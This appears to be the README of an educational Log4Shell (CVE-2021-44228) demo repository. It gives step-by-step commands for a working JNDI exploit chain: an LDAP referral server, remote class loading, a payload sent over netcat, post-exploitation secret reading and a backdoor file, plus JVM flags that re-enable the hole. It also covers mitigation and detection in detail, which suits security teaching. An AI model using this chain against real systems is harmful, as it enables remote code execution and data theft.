This repository demonstrates the Log4Shell vulnerability (CVE-2021-44228) for educational and security research purposes. It includes a complete working exploit chain showing Remote Code Execution via JNDI injection.
⚠️ WARNING: This is for educational purposes ONLY. Never use this against systems you don't own or have explicit permission to test.
Log4Shell is a critical RCE vulnerability in Apache Log4j 2.x (versions 2.0-beta9 to 2.14.1) that allows attackers to execute arbitrary code by injecting a malicious JNDI lookup string into logged data.
CVSS Score: 10.0 (Critical)
- Quick Start
- How the Exploit Works
- Detailed Walkthrough
- What the Exploit Demonstrates
- Key Technical Details
- Defense & Mitigation
- Commands Reference
- Podman (or Docker)
- Python 3
- Java 8+
- netcat
make build # Build vulnerable container (Java 8u181 + Log4j 2.14.1)
make exploit-setup # Build marshalsec and compile exploitEasy Mode (All servers in background):
make start-all # Start HTTP, LDAP, and vulnerable servers
make status # Verify all servers are running
make test-exploit # Send the malicious payload
make verify # Check if exploit succeeded
make stop-all # Stop all servers when doneManual Mode (Requires 4 terminals for visibility):
Terminal 1 - HTTP Server:
make http-serverTerminal 2 - LDAP Server:
make ldap-serverTerminal 3 - Vulnerable Application:
make vulnerable-serverTerminal 4 - Execute Exploit:
make test-exploit # Send the malicious payload
make verify # Check if exploit succeededYou should see output showing command execution as root inside the container!
1. Attacker sends: ${jndi:ldap://192.168.1.100:1389/Exploit}
2. Log4j parses: JNDI lookup triggered
3. Connects to: LDAP server (port 1389)
4. LDAP redirects: http://192.168.1.100:8888/Exploit.class
5. Java downloads: Malicious class file
6. Class loads: Static initializer executes
7. Result: Remote Code Execution as root!
┌─────────────┐ ┌──────────────┐ ┌─────────────┐ ┌──────────────┐
│ Attacker │─────>│ Vulnerable │─────>│ LDAP │─────>│ HTTP │
│ │ JNDI │ Log4j App │ Ref │ Server │Class │ Server │
└─────────────┘ └──────────────┘ └─────────────┘ └──────────────┘
│ │
│ │
└──────────< Downloads Exploit.class <─────┘
│
▼
[Code Execution]
Runs commands as root
// VULNERABLE - User input in format string
logger.error("Request: " + userInput);
// SAFE - Parameterized message
logger.error("Request: {}", userInput);- Runs a simple TCP server on port 8080
- Uses Log4j 2.14.1 (vulnerable version)
- Logs incoming requests with string concatenation (vulnerable pattern)
- Built with Java 8u181 + special JVM flags to allow JNDI remote class loading
The exploit demonstrates realistic attack capabilities:
- Identity reconnaissance:
whoami,id- shows execution as root - Environment scanning: Reads secrets from environment variables
- Network mapping: Discovers hostname and network interfaces
- Process enumeration: Lists running processes
- Persistence: Creates executable backdoor file
- Educational output: Explains the attack and remediation
- Simple Python HTTP server
- Serves the malicious
Exploit.classfile - Logs show when the class is downloaded (proof of JNDI lookup)
- Responds to JNDI lookups from Log4j
- Returns a reference pointing to the HTTP server
- Bridges the gap between JNDI and remote class loading
make build
# Or manually: podman build -t log4jcve .make exploit-setup
# This will:
# 1. Build marshalsec with Maven (source included in repository)
# 2. Compile the Exploit.java payloadNote: The marshalsec source code is included in this repository (in exploit/marshalsec/). If you're setting up from a fresh clone and the marshalsec directory is missing, run:
cd exploit
git clone https://github.com/mbechler/marshalsec.git
rm -rf marshalsec/.git # Remove git repo to avoid nested repo issues
cd ..
make exploit-setupmake http-server
# Or manually: cd exploit && python3 -m http.server 8888Test it:
curl -I http://localhost:8888/Exploit.class
# Should return: HTTP/1.0 200 OKmake ldap-server
# Auto-detects your IP address
# Or specify: HOST_IP=192.168.1.100 make ldap-serverYou should see:
Listening on 0.0.0.0:1389
make vulnerable-serverYou should see:
Vulnerable server listening on port 8080
make test-exploit
# Sends the payload and automatically waits 3 seconds
# Then run verify to check resultsManual alternative:
echo '${jndi:ldap://192.168.1.100:1389/Exploit}' | nc localhost 8080make verify
# Should run immediately after test-exploitExpected output shows full Remote Code Execution:
╔════════════════════════════════════════════════════════════════╗
║ REMOTE CODE EXECUTION ACHIEVED VIA LOG4SHELL (CVE-2021-44228) ║
╚════════════════════════════════════════════════════════════════╝
=== IDENTITY & PRIVILEGES ===
Current User: root
uid=0(root) gid=0(root) groups=0(root)
=== FILE SYSTEM ACCESS ===
Environment Variables (including secrets):
SECRET_VALUE=if you can read this this code is vulnerable
=== NETWORK INFORMATION ===
Hostname: ibm
Network Interfaces: [full network config]
=== RUNNING PROCESSES ===
[Shows all running processes]
=== DEMONSTRATING FILE WRITE ===
-rwxr-xr-x. 1 root root 50 Oct 23 21:04 /tmp/backdoor.sh
The exploit shows exactly why whoami returning "root" is so dangerous:
-
Total System Control
- UID 0 means unrestricted access to all files
- Can read
/etc/shadow, database configs, SSL certificates - Can modify any application code or system files
-
Secret Exfiltration
SECRET_VALUE=if you can read this this code is vulnerable- Environment variables often contain API keys, passwords, tokens
- Can access mounted secrets, config files, credentials
-
Network Reconnaissance
- Discovers all network interfaces
- Internal IP addresses for lateral movement
- VPN connections (like Tailscale in the demo)
-
Persistent Backdoor
-rwxr-xr-x. 1 root root 50 Oct 23 21:04 /tmp/backdoor.sh
- Creates executable files for persistence
- Can install cron jobs, modify startup scripts
- Establishes reverse shells for continued access
-
Real-World Attack Scenarios
- Ransomware: Encrypt all files, demand payment
- Cryptomining: Use CPU/GPU for cryptocurrency
- Data Theft: Exfiltrate customer data, intellectual property
- Lateral Movement: Use as pivot point to attack other systems
- Supply Chain: Inject malicious code into the application
Through debugging, we discovered several critical issues:
-
Java Version Issue:
- Java 8u181 from Debian 9 had backported security patches
- Version number was misleading - it wasn't truly "vulnerable 8u181"
- Required explicit JVM flags to bypass protections
-
Required JVM Flags:
-Dcom.sun.jndi.ldap.object.trustURLCodebase=true- Enables remote class loading (disabled by default in newer builds)-Dlog4j2.formatMsgNoLookups=false- Ensures JNDI lookups are processed (just to be explicit)
-
Makefile Variable Escaping (Fixed):
- Original:
echo '${jndi:ldap://$(HOST_IP):1389/Exploit}'sent empty string - Make was expanding
${jndi:...}as a Make variable (undefined = empty) - Fixed:
echo '\$${jndi:ldap://$(HOST_IP):1389/Exploit}'properly escapes the$ - Now
$(HOST_IP)expands correctly while${jndi:...}is preserved
- Original:
-
Logging Pattern:
- Must use string concatenation:
logger.error("Request: " + input) - Parameterized logging is SAFE:
logger.error("Request: {}", input) - The vulnerability is in Log4j processing the message content
- Must use string concatenation:
-
Multi-stage Build:
- Build with newer Maven (Java 8u322) for modern tooling
- Run with vulnerable Java 8u181 for actual exploitation
- This matches real-world scenarios where build/runtime differ
Dockerfile uses a two-stage build:
# Stage 1: Build with Maven 3.8.4 (Java 8u322)
FROM maven:3.8.4-jdk-8 AS builder
COPY . /usr/src/poc
WORKDIR /usr/src/poc
RUN mvn clean && mvn package
# Stage 2: Run with vulnerable Java 8u181
FROM openjdk:8u181-jdk
COPY --from=builder /usr/src/poc/target/log4j-rce-1.0-SNAPSHOT-jar-with-dependencies.jar /app/app.jar
WORKDIR /app
# Explicit flags required due to Debian security backports
CMD ["java",
"-Dcom.sun.jndi.ldap.object.trustURLCodebase=true",
"-Dlog4j2.formatMsgNoLookups=false",
"-cp", "/app/app.jar",
"VulnerableApp"]This demo uses Podman instead of Docker:
| Feature | Docker | Podman |
|---|---|---|
| Daemon | Required | Daemonless |
| Root | Requires root by default | Rootless by default |
| Command | docker |
podman (drop-in replacement) |
| Security | More attack surface | More secure |
Commands are nearly identical - just replace docker with podman.
If make verify shows "Exploit file not found - exploit may have failed", check these common issues:
-
Timing Issue: The exploit needs time to execute. The Makefile includes a 3-second wait, but you can wait a bit longer and run
make verifyagain. -
Check if servers are running:
# Check HTTP server (port 8888) curl -I http://localhost:8888/Exploit.class # Check LDAP server (port 1389) ss -ltn | grep 1389 # Check vulnerable server (port 8080) ss -ltn | grep 8080
-
View server logs:
# Check LDAP server logs for connections cat logs/ldap-server.log # Check HTTP server logs for downloads cat logs/http-server.log # Check vulnerable app logs podman logs $(podman ps -q --filter ancestor=log4jcve)
-
Verify IP address: Make sure
HOST_IPmatches your actual network IP:hostname -I | awk '{print $1}'
-
Test manually: Send the payload directly and check container logs:
echo '${jndi:ldap://192.168.1.100:1389/Exploit}' | nc localhost 8080 sleep 5 podman logs --tail 20 $(podman ps -q --filter ancestor=log4jcve)
When the exploit works, you'll see:
- LDAP server log: Shows incoming connection and sending reference
- HTTP server log: Shows GET request for
Exploit.class - Container logs: Shows the exploit banner and command execution
- Verify command: Displays the full exploit output with secrets, network info, etc.
For reliable testing, use this sequence:
# After all servers are running
make test-exploit && sleep 2 && make verifyOr use the background server mode:
make start-all # Start all servers in background
make status # Verify all are running
make test-exploit # Send exploit
make verify # Check results-
Upgrade Log4j: Use version 2.17.1 or later
# Edit pom.xml <version>2.17.1</version>
-
Set JVM Property (if upgrade not immediately possible):
java -Dlog4j2.formatMsgNoLookups=true ...
-
Environment Variable:
export LOG4J_FORMAT_MSG_NO_LOOKUPS=true -
Remove JNDI Lookup Class (emergency workaround):
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
-
Use Parameterized Logging:
// GOOD logger.error("User {} attempted action", username); // BAD logger.error("User " + username + " attempted action");
-
Input Validation:
- Sanitize logged data
- Block or escape
${patterns in user input - Use allowlists for logged content
-
Network Segmentation:
- Restrict outbound connections from application servers
- Block LDAP/RMI/JNDI protocols at firewall
- Use egress filtering
-
Monitoring:
- Alert on JNDI lookup patterns:
${jndi: - Monitor for unusual outbound connections
- Track Java class loading from remote sources
- Alert on JNDI lookup patterns:
-
Web Application Firewall (WAF):
- Deploy rules to block Log4Shell patterns
- Monitor and block suspicious User-Agent strings
- Inspect all HTTP headers for JNDI payloads
To test if the vulnerability is fixed, edit pom.xml:
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.17.1</version> <!-- Use secure version -->
</dependency>Rebuild and test - the exploit should fail.
.
├── Dockerfile # Two-stage build with Java 8u181
├── Makefile # Automated commands for exploit demo
├── README.md # This file - complete documentation
├── src/main/java/
│ └── VulnerableApp.java # Vulnerable TCP server
├── exploit/
│ ├── Exploit.java # Enhanced educational RCE payload
│ ├── Exploit.class # Compiled exploit
│ └── marshalsec/ # JNDI exploitation toolkit
└── pom.xml # Log4j 2.14.1 dependency
| Command | Description |
|---|---|
make help |
Show all available commands |
make build |
Build vulnerable container with Java 8u181 |
make exploit-setup |
Build marshalsec and compile exploit payload |
| Background Mode | |
make start-all |
Start all servers in background (HTTP, LDAP, vulnerable app) |
make status |
Check if all servers are running |
make logs |
View available log files |
make logs TYPE=http |
View specific server logs (http/ldap/vulnerable) |
make stop-all |
Stop all background servers |
| Manual Mode | |
make http-server |
Start HTTP server on port 8888 (foreground) |
make ldap-server |
Start LDAP server on port 1389 (foreground, auto-detects IP) |
make vulnerable-server |
Run vulnerable application on port 8080 (foreground) |
| Exploitation | |
make test-exploit |
Send JNDI exploit payload to vulnerable server |
make verify |
Check if exploit succeeded and show output |
| Cleanup | |
make clean |
Stop all services and remove containers |
This comprehensive demo teaches:
-
Vulnerability Mechanics:
- How JNDI injection works in Log4j
- The complete exploit chain from input to RCE
- Why string concatenation in logging is dangerous
-
Attack Techniques:
- Remote class loading via JNDI
- LDAP referral attacks
- Post-exploitation reconnaissance
- Persistence mechanisms
-
Security Concepts:
- Why parameterized logging is critical
- How Java security features (trustURLCodebase) work
- Container security implications
- The importance of defense in depth
-
Real-World Impact:
- What attackers can actually do with RCE
- Why "running as root" is catastrophic
- How quickly systems can be compromised
- The difficulty of detecting such attacks
-
Defense Strategies:
- Proper logging practices
- Version management and patching
- Network segmentation
- Monitoring and detection
Log4Shell can be triggered through any logged user input:
- HTTP Headers: User-Agent, X-Forwarded-For, Referer, etc.
- Form Fields: Any POST/GET parameter that gets logged
- URL Parameters: Query strings, path parameters
- WebSocket Messages: Real-time communication data
- File Uploads: Filename metadata
- Authentication: Usernames, failed login attempts
- API Requests: JSON fields, XML attributes
Systems confirmed vulnerable to Log4Shell:
- Apache Ecosystem: Struts, Solr, Druid, Flink
- Virtualization: VMware vCenter, Horizon
- Gaming: Minecraft servers (one of the first discoveries)
- Cloud Services: Various AWS, Azure, GCP services
- Enterprise Software: Numerous commercial applications
- IoT Devices: Smart home systems, industrial control
The ubiquity of Log4j meant hundreds of millions of systems were potentially vulnerable.
- CVE-2021-44228 - Official CVE entry
- Apache Log4j Security - Official security page
- Marshalsec JNDI Toolkit - Exploitation framework
- CISA Advisory - US Government guidance
- LunaSec Advisory - Detailed technical analysis
- Original PoC Source - Base code
Stop all services:
make cleanOr manually:
# Stop container
podman stop $(podman ps -q --filter ancestor=log4jcve)
# Stop HTTP server
pkill -f "python3 -m http.server 8888"
# Stop LDAP server
pkill -f "marshalsec.jndi.LDAPRefServer"Educational use only. Based on original code from Packet Storm Security.
This is a fork for personal learning and teaching purposes. The repository demonstrates responsible vulnerability research practices.
Remember: This is a learning tool. Understanding vulnerabilities helps build better defenses. Always practice responsible disclosure and ethical security research. Never test exploits on systems you don't own or have explicit permission to test.